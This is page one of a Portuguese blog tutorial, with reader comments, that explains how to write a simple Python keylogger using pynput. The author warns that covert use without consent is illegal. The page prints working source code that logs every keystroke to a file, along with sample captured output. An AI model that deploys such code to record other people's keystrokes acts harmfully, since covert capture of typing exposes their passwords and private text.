Como criar um keylogger em Python

Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.

[ Hits: 45.504 ]

Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://www.instagram.com/alexabolada/


Introdução



Antes de tudo, o propósito deste artigo é educacional. Tenho ciência de que o conteúdo abordado no artigo pode ser usado tanto para o bem quanto para mal.

Uma ótima aplicação para um keylogger seria permitir aos pais monitorarem o que seus filhos andam fazendo no computador. Se você é o responsável direto da criança, essa atividade é legítima e não requer autorização.

Já em casos onde você não é o responsável pela pessoa, o uso de keylogger requer o CONSENTIMENTO de ambas as partes, caso contrário a atividade é considerada CRIME.

Então já fica avisado, usar keylogger para descobrir a senha do Facebook da namorada é crime!!!!

Mão na massa

No Python existem várias formas de se obter o mesmo resultado. Para este artigo utilizaremos a biblioteca pynput para obtermos acesso ao teclado. Também utilizarei a versão 3 do Python, não testei o código na versão 2.

Primeiramente verifique se você possui o pynput instalado:

python3 -m pynput
/usr/bin/python3: No module named pynput

A saída acima indica que não possui a pynput instalada. Para resolver a dependência basta executar:

pip3 install pynput

Feito isso, teste novamente:

python3 -m pynput
/usr/bin/python3: No module named pynput.__main__; 'pynput' is a package and cannot be directly executed

Tudo certo, já podemos começar!

Segue a primeira versão de nosso keylogger com comentários:

vim keylogger.py

#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener

#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"

def writeLog(key):
    '''
    Esta função será responsável por receber a tecla pressionada
    via Listener e escrever no arquivo de log
    '''

    #converter a tecla pressionada para string
    keydata = str(key)

    #abrir o arquivo de log no modo append
    with open(logFile, "a") as f:
        f.write(keydata)

#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
    l.join()

Vamos agora executar e testar o código:

python3 keylogger.py

Abra um segundo terminal e monitore o arquivo de log:

tail -f /home/fabio/python/keylogger/log.txt

Em outro terminal eu digitei "Viva o Linux!", o registro no log ficou mais ou menos assim:

Key.shift_r'V''i''v''a'Key.space'o'Key.spaceKey.shift_r'L''i''n''u''x'Key.shift_r'!''"'Key.backspaceKey.enterKey.alt'3'

Note que cada letra foi delimitada por aspas simples e teclas como o shift, espaço, enter e backspace foram logadas de forma bruta.

Na próxima página veremos como melhorar isso.

    Próxima página

Páginas do artigo
   1. Introdução
   2. Incrementando o código
Outros artigos deste autor

Como criar VIEWS no MySQL

Torne-se um DJ usando Linux

Rodando ASP em servidores web Linux

Como jogar poker no Full Tilt Poker pelo Linux

Personalizando seu lilo no Debian

Leitura recomendada

Programe em Python no jogo Minecraft com seu filho ou sozinho

Breve Estudo Sobre Ransomwares e Análise Estática/Dinâmica do WannaCry

ISO8583py - Utilizando Python para o tratamento de mensagens ISO8583

Como baixar vídeos do Facebook via terminal

Redes definidas por Software com Mininet e POX - Criando meu primeiro Controlador

  
Comentários
[1] Comentário enviado por REDN1T em 04/01/2019 - 17:03h

Gostei do seu código, ele esta tão bem comentado que eu que não programo em python consigo enteder o que está acontecendo. Continue assim.

[2] Comentário enviado por BiaMonteiro em 04/01/2019 - 18:44h

Daqui a pouco os hackers do Kali Linux vão usar o Python para desenvolver essa ferramenta.
No mais, ótimo artigo, deixarei meu like.

[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!

[4] Comentário enviado por fabio em 08/01/2019 - 02:09h


[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!


Você provavelmente não copiou o código corretamente. No final do artigo tem um link para o script no GitHub, baixe o código completo de lá.

[5] Comentário enviado por Kirimatt em 17/02/2021 - 07:14h

logfile = "C:\Users\Windows10\Downloads\python\key_logger\log.txt"
^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 2-3: truncated \UXXXXXXXX escape

Estou tendo esse erro na hora de executar o programa, alguma ideia do que possa ser? Já conferi a localização do arquivo e ela está correta


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts